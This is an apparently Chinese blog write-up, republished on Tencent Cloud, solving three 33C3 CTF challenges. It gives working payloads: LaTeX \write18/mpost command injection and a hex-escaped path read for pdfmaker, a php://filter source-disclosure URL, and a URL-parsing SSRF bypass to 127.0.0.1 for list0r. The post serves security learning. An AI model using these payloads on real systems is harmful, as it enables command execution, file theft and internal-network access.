前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >33c32016 writeup

33c32016 writeup

作者头像
LoRexxar
发布于 2023-02-21 07:17:52
发布于 2023-02-21 07:17:52
40700
代码可运行
举报
文章被收录于专栏:LoRexxar's BlogLoRexxar's Blog
运行总次数:0
代码可运行

16年的最后几天看了看33c3的题目…没想到的是这个比赛质量奇高,ctftime最后权重超过90,可惜期末了所以来不及好好打,还是挺可惜的….

pdfmaker

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pdfmaker (75)

Solves: 133

Just a tiny application, that lets the user write some files and >compile them with pdflatex. What can possibly go wrong?

nc 78.46.224.91 24242

先贴一篇别人的博客 https://github.com/EdwardPwnden/ctf-2016/tree/master/33c3/pdfmaker

代码如下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

import signal
import sys
from random import randint
import os, pipes
from shutil import rmtree
from shutil import copyfile
import subprocess

class PdfMaker:

  def cmdparse(self, cmd):
    fct = {
      'help': self.helpmenu,
      '?': self.helpmenu,
      'create': self.create,
      'show': self.show,
      'compile': self.compilePDF,
      'flag': self.flag
    }.get(cmd, self.unknown)
    return fct

  def handle(self):
    self.initConnection()
    print " Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect."
    instruction_counter = 0
    while(instruction_counter < 77):
      try:
        cmd = (raw_input("> ")).strip().split()
        if len(cmd) < 1:
           continue
        if cmd[0] == "exit":
          self.endConnection()
          return
        print self.cmdparse(cmd[0])(cmd)
        instruction_counter += 1
      except Exception, e:
        print "An Exception occured: ", e.args
        self.endConnection()
        break
    print "Maximum number of instructions reached"
    self.endConnection()

  def initConnection(self):
    cwd = os.getcwd()
    self.directory = cwd + "/tmp/" + str(randint(0, 2**60))
    while os.path.exists(self.directory):
      self.directory = cwd + "/tmp/" + str(randint(0, 2**60))
    os.makedirs(self.directory)
    flag = self.directory + "/" + "33C3" + "%X" % randint(0, 2**31) +  "%X" % randint(0, 2**31)
    copyfile("flag", flag)


  def endConnection(self):
    if os.path.exists(self.directory):
      rmtree(self.directory)

  def unknown(self, cmd):
    return "Unknown Command! Type 'help' or '?' to get help!"

  def helpmenu(self, cmd):
    if len(cmd) < 2:
      return " Available commands: ?, help, create, show, compile.\n Type 'help COMMAND' to get information about the specific command."
    if (cmd[1] == "create"):
      return (" Create a file. Syntax: create TYPE NAME\n"
              " TYPE: type of the file. Possible types are log, tex, sty, mp, bib\n"
              " NAME: name of the file (without type ending)\n"
              " The created file will have the name NAME.TYPE")
    elif (cmd[1] == "show"):
      return (" Shows the content of a file. Syntax: show TYPE NAME\n"
              " TYPE: type of the file. Possible types are log, tex, sty, mp, bib\n"
              " NAME: name of the file (without type ending)")
    elif (cmd[1] == "compile"):
      return (" Compiles a tex file with the help of pdflatex. Syntax: compile NAME\n"
              " NAME: name of the file (without type ending)")

  def show(self, cmd):
    if len(cmd) < 3:
      return " Invalid number of parameters. Type 'help show' to get more info."
    if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:
      return " Invalid file ending. Only log, tex, sty and mp allowed"

    filename = cmd[2] + "." + cmd[1]
    full_filename = os.path.join(self.directory, filename)
    full_filename = os.path.abspath(full_filename)

    if full_filename.startswith(self.directory) and os.path.exists(full_filename):
      with open(full_filename, "r") as file:
        content = file.read()
    else:
      content = "File not found."
    return content

  def flag(self, cmd):
    pass

  def create(self, cmd):
    if len(cmd) < 3:
      return " Invalid number of parameters. Type 'help create' to get more info."
    if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:
      return " Invalid file ending. Only log, tex, sty and mp allowed"

    filename = cmd[2] + "." + cmd[1]
    full_filename = os.path.join(self.directory, filename)
    full_filename = os.path.abspath(full_filename)
    
    if not full_filename.startswith(self.directory):
      return "Could not create file."

    with open(full_filename, "w") as file:
      print "File created. Type the content now and finish it by sending a line containing only '\q'."
      while 1:
        text = raw_input("");
        if text.strip("\n") == "\q":
          break
        write_to_file = True;
        for filter_item in ("..", "*", "/", "\\x"):
          if filter_item in text:
            write_to_file = False
            break
        if (write_to_file):
          file.write(text + "\n")
    return "Written to " + filename + "."

  def compilePDF(self, cmd):
    if (len(cmd) < 2):
      return " Invalid number of parameters. Type 'help compile' to get more info."
    filename = cmd[1] + ".tex"
    full_filename = os.path.join(self.directory, filename)
    full_filename = os.path.abspath(full_filename)

    print full_filename
    if not full_filename.startswith(self.directory) or not os.path.exists(full_filename):
      return "Could not compile file."

    print pipes.quote(full_filename)
    compile_command = "cd " + self.directory + " && pdflatex " + pipes.quote(full_filename)
    compile_result = subprocess.check_output(compile_command, shell=True)
    return compile_result

def signal_handler_sigint(signal, frame):
  print 'Exiting...'
  pdfmaker.endConnection()
  sys.exit(0)

if __name__ == "__main__":
  signal.signal(signal.SIGINT, signal_handler_sigint)

  pdfmaker = PdfMaker()
  pdfmaker.handle()

稍微研究一下代码,可以发现几个功能 1、create可以创建log, tex, sty, mp, bib后缀的文件,并写入内容 2、内容会经过一次过滤"..", "*", "/", "\\x",这些内容都会被过滤掉 3、show方法可以显示后缀为log, tex, sty, mp, bib的内容 4、compile方法可以把tex后缀的文件编译为pdf,遵循的是pdflatex语法

具体语法可以看 http://theoval.cmp.uea.ac.uk/~nlct/latex/pdfdoc/pdfdoc/pdfdoc.html

命令执行读文件

事实上,latex语法中是可以执行shell命令的,具体可以看这篇文章

https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/

类似于这样\immediate\write18{ls>out.log},无奈的是,这个方法已经被禁用了

幸运的是,我们还可以创建md格式的create mp test

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
verbatimtex
\documentclass{minimal}
\begin{document}
etex
beginfig (1)
label(btex blah etex, origin);
endfig;
\end{document}
bye
\q

然后写入tex文件,编译执行命令,有个值得注意的是如果直接执行cat file > xxx.log并不会执行,其中空格必须使用${IFS}来替换,调用bash来执行命令,具体如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 create tex lol

\documentclass{article}
\begin{document}
\immediate\write18{mpost -ini \"-tex=bash -c (cat${IFS}$(find${IFS}.))>ls.log\" \"test.mp\"}
\end{document}
\q

接着编译,查看对应的log,就可以得到flag了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
33C3_pdflatex_1s_t0t4lly_s3cur3!

读文件方式

除了编写md格式执行命令以外,事实上还有更多办法来读取文件获取flag,也许你觉得文件名未知,我们没办法来读取flag,但也许你忘记了../../flag这里还有一个flag。

核心问题在于如何绕过..的过滤

在pdflatex语法中,可以用^^2e^^2e^^2f^^2e^^2e^^2f^^66^^6c^^61^^67来代替../../flag,那么脚本如下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
payload = """
\documentclass{article}
\\begin{document}
Hello world, this is \LaTeX
\\newwrite\outfile
\openout\outfile=out.log
\\newread\\file
\openin\\file=^^2e^^2e^^2f^^2e^^2e^^2f^^66^^6c^^61^^67
\\read\\file to\\fileline
\write\outfile{\\fileline}
\closein\\file
\closeout\outfile
\end{document}
\q
"""

编译读取既可

pay2win

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pay2win – Web
Do you have enough money to buy the flag?

整个题目做起来很难受,做了感觉非常像是强行出题…

首先进去我们发现能够购买cheap和flag两个,需要输入一个合理的信用卡号,网上随便找一个信用卡就可以购买cheap,但购买flag时候,就会显示额度不够,然后,这时候理所当然的以为要找个额度大于20万的信用卡号,于是研究了一夜的信用卡种类…

但仔细想可以想到,主办方应该是没有办法判断信用卡的额度的,所以重新审视题目,我们发现如果购买成功的话,data的数据块会发生变化

我们发现按照刚好可以8bit一分,然后购买成功后,中间的部分会发生变化

反复修改可以找到所谓储存文件名的部分,修改那部分getflag。

list0r

ctftime上有2篇文章还是蛮不错的。

https://dollberg.xyz/ctf/2016/12/29/33C3-CTF-list0r/

https://github.com/p4-team/ctf/tree/master/2016-12-27-33c3/web_400_list0r

打开之后随便逛逛,就能发现所有页面是通过包含进来的,那么我们可以通过伪协议来读源码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://78.46.224.80/?page=php://filter/read=convert.base64-encode/resource=profile

不得不说,这是个蛮大的站,零零散散功能非常多,但是,仔细观察发现一个比较弱的函数,在functions.php

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function verify_password($username, $password) {
        global $redis;

        $user_id = $redis->hget("users", $username);
        if ($user_id) {
            $real_pass = $redis->hget("user:$user_id", "password");
            return $user_id;
        }
        return FALSE;
    }

我们能注意到,这里并没有验证密码,我们可以直接登陆admin用户,进入到用户后,我们发现list有几个提示

我们知道了flag的位置,直接访问我们发现

稍微试下发现这个东西是绕不过去的,所以找找别的东西吧

很快就能发现,这个头像处可以通过提交链接来得到内容,如果我们能绕过这里的话,我们可以成功的构造一个ssrf

看看代码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if (isset($_POST["pic"]) && $_POST["pic"] != "" && !is_admin()) {
    $pic = get_contents($_POST["pic"]);
    if (!is_image($pic)) {
        die("<p><h3 style=color:red>Does this look like an image to you???????? people are dumb these days...</h3></p>" . htmlspecialchars($pic));
    } else {
        $pic_name = "profiles/" . sha1(rand());
        file_put_contents($pic_name, $pic);
    }
}

有个比较关键的是get_content

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function in_cidr($cidr, $ip) {
    list($prefix, $mask) = explode("/", $cidr);

    return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> $mask) << $mask);
}

function get_contents($url) {
    $disallowed_cidrs = [ "127.0.0.1/24", "169.254.0.0/16", "0.0.0.0/8" ];

    do {
        $url_parts = parse_url($url);

        if (!array_key_exists("host", $url_parts)) {
            die("<p><h3 style=color:red>There was no host in your url!</h3></p>");
        }

        $host = $url_parts["host"];

        if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
            $ip = $host;
        } else {
            $ip = dns_get_record($host, DNS_A);
            if (count($ip) > 0) {
                $ip = $ip[0]["ip"];
                debug("Resolved to {$ip}");
            } else {
                die("<p><h3 style=color:red>Your host couldn't be resolved man...</h3></p>");
            }
        }

        foreach ($disallowed_cidrs as $cidr) {
            if (in_cidr($cidr, $ip)) {
                die("<p><h3 style=color:red>That IP is a blacklisted cidr ({$cidr})!</h3></p>");
            }
        }

        // all good, curl now
        debug("Curling {$url}");
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
        curl_setopt($curl, CURLOPT_TIMEOUT, 3);
        curl_setopt($curl, CURLOPT_PROTOCOLS, CURLPROTO_ALL 
            & ~CURLPROTO_FILE 
            & ~CURLPROTO_SCP); // no files plzzz
        curl_setopt($curl, CURLOPT_RESOLVE, array($host.":".$ip)); // no dns rebinding plzzz

        $data = curl_exec($curl);

        if (!$data) {
            die("<p><h3 style=color:red>something went wrong....</h3></p>");
        }

        if (curl_error($curl) && strpos(curl_error($curl), "timed out")) {
            die("<p><h3 style=color:red>Timeout!! thats a slowass  server</h3></p>");
        }

        // check for redirects
        $status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
        if ($status >= 301 and $status <= 308) {
            $url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
        } else {
            return $data;
        }

    } while (1);
}

仔细看,我们很容易发现,其实存在一些问题,如果获取的内容不是图片,则会显示出来,那么看来,这就是官方留给我们获取flag的方式,那么问题就在于怎么绕过get_content的验证了。

我们发现,貌似是拦截了任何请求本地的方式,但是ip的验证是通过parse_url来判断的,请求是通过curl完成的。

这里提到了2种方式来解决,首先是第一种,通过提供用户名密码的绕过方式,payload:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://what:ever@127.0.0.1:80@33c3ctf.ccc.ac/reeeaally/reallyy/c00l/and_aw3sme_flag

php 将会这么解析

array (
  'scheme' => 'http',
  'host' => '33c3ctf.ccc.ac',
  'user' => 'what',
  'pass' => 'ever@127.0.0.1:80',
  'path' => '/reeeaally/reallyy/c00l/and_aw3sme_flag',
)

但是在curl看来并不是这样的,链接会被解析为,what是用户名,ever是密码,host为127….

所以我们获取得了flag

还有一种看上去是通过所谓的负载均衡的实现的,但具体不是很清楚,不知道怎么实验一下

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2017/01/03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
3kCTF2021
一段时间没打国际赛,最近陆队正在组建一支打国际赛的战队,我也混进去划了一下水,上周末我们也打了第一场国际赛试试水(虽然我在打国赛没怎么看题目),不过初次试水师傅们都很给力,个人认为成绩还算可以(No.9):
HhhM
2022/08/10
1.4K0
3kCTF2021
SSRF漏洞原理攻击与防御
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个漏洞
十二惊惶
2024/02/28
5310
SSRF漏洞原理攻击与防御
分享emlog海报代码 带食用方法
本代码是从null扣下来的  有兴趣的可以去买他的主题https://www.qiuzq.cn/Theme/null.html
用户8099761
2023/05/11
1900
从一文中了解SSRF的各种绕过姿势及攻击思路
文章首发于跳跳糖社区https://tttang.com/archive/1648/
用户9691112
2023/05/18
5.3K0
从一文中了解SSRF的各种绕过姿势及攻击思路
RCTF2015_writeup
这次的rctf貌似是第一次举办,而且还是所属xctf,所以出现了好多大牛队伍,题目脑洞大还要强行增加难度(估计出题人已经把能想到的问题全部扔上去了),也不知道是受了什么的刺激,不管怎么样,还是从一大堆注入题目中学习了不少没见过的注入姿势,留下writeup…
LoRexxar
2023/02/20
3920
RCTF2015_writeup
写一个函数,获取一篇文章内容中的全部图片,并下载
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/112590.html原文链接:https://javaforall.cn
全栈程序员站长
2021/12/23
3090
php远程上传图片资源
上传请求代码参考 <?php echo "<pre>"; print_r(json_decode(uploadFile('Filedata', $_POST), true));die; funct
友儿
2022/09/11
3.7K0
赛前福利①最新2018HITB国际赛writeup
FIRST 距离“西湖论剑杯”全国大学生网络空间安全技能大赛只有10天啦! 要拿大奖、赢offer,那必须得来点赛前练习定定心啊~这不,讲武堂就拿到了2018HITB国际赛的一手write up!web、misc、pwn、crypto、mobile都有!快来尝鲜! ——特别感谢本文作者:BXS—— 本文作者曾多次参与“安恒杯”月赛,成绩亮眼~ 在本次HIBT国际赛中,他所在的队伍也取得了rank16、大陆前5的好成绩~Congratulations! PART1.WEB 1.Upload 访问题目:htt
安恒网络空间安全讲武堂
2018/04/18
1.5K0
赛前福利①最新2018HITB国际赛writeup
XDCTF2015-writeup
刚刚撸完十一的xdctf,虽说没能拿到好的名词,但是不管怎么说,还是见到了很多奇妙的东西,不得不说p神的很多东西还要学习,还第一次接触关于githack的东西,有空一定好好研究下git.
LoRexxar
2023/02/20
4580
XDCTF2015-writeup
网易热评Api
header('Content-type: text/json;charset=utf-8'); $format = @$_GET['format']; $post = 'params=RWWaVrwvMRFMFc6r%2BrKTq66XIh8o1s%2BP%2BebgYma%2FWimi6K5F3KtWHtpXfC%2Fgh77TtCtc3rmpHuknSe%2BDi%2FNBycqi9m7nISKeQx9Z46RmucLioCQeGmOKJ%2FJJ2FFquMvqj0U2NAo
Qicloud
2022/01/27
1.1K1
腾讯云ASR产品-PHP实现录音文件识别极速版鉴权请求
(2)腾讯云控制台开通实时语音权限 https://console.cloud.tencent.com/asr
HI hero
2021/10/11
6.6K14
PHP中高级面试题 – 第一天
关键是 S 上。简而言之,https 建立连接后要先把 SSL 的证书发下去,有了公钥和私钥,就可以解密了。
PHP学习网
2022/08/03
4680
强网杯 2022 Web writeup
cookie中有序列化的userfile字段来表示用户已经上传的文件,那应该要先想办法通过文件读取的功能读取到源代码,然后再考虑如何结合反序列化实现RCE。
ek1ng
2022/09/23
8370
强网杯 2022 Web writeup
Balsn CTF 2019 web 题
这段代码并不需要额外配置,却加载了一个 config.php,有点蹊跷,先读下源代码看看。有两种办法,一是通过 eval,而是利用 file_get_contents,后者明显要简单些。这样的后缀检查加个空格就能过。因为读取有长度限制,可直接使用伪协议进行压缩,然后解压即可。
wywwzjj
2023/05/09
4540
Balsn CTF 2019 web 题
微云网盘外链php源码
作者:matrix 被围观: 154,090 次 发布时间:2013-10-26 分类:兼容并蓄 零零星星 | 16 条评论 »
HHTjim 部落格
2022/09/26
2.6K0
微云网盘外链php源码
知乎热榜API、百度热点API、微博热搜API(开源)- 聚合热榜API开源
如果你懒得搭建,可使用 韩小韩API(Api.Vvhan.Com)提供的 聚合热榜API https://api.vvhan.com/hotlist.html
骤雨重山
2022/11/14
5.2K1
知乎热榜API、百度热点API、微博热搜API(开源)- 聚合热榜API开源
10个 ThinkPHP 开发常用代码片段
在编写代码的时候有个神奇的汇总是好的!下面这里收集了 10+ PHP 代码片段,可以帮助你开发 PHP 项目。这些 PHP 片段对于 PHP 初学者也非常有帮助,非常容易学习,让我们开始学习吧~
php007
2019/11/18
8130
微信群发sdk「建议收藏」
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/135884.html原文链接:https://javaforall.cn
全栈程序员站长
2022/08/19
1.3K0
SSRF漏洞详解 一文了解SSRF漏洞
服务器端请求伪造(Server-Side Request Forgery, SSRF)
全栈程序员站长
2022/09/13
1.8K0
SSRF漏洞详解 一文了解SSRF漏洞
CTFHub技能树通关教程——SSRF漏洞原理攻击与防御(二)(上传文件,FastCGI,Redis协议,URL Bypass)
访问内网下的127.0.0.1/flag.php,这里什么也没有,就一个上传文件,还没有提交按钮
小羽网安
2024/06/17
3560
CTFHub技能树通关教程——SSRF漏洞原理攻击与防御(二)(上传文件,FastCGI,Redis协议,URL Bypass)
相关推荐
3kCTF2021
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验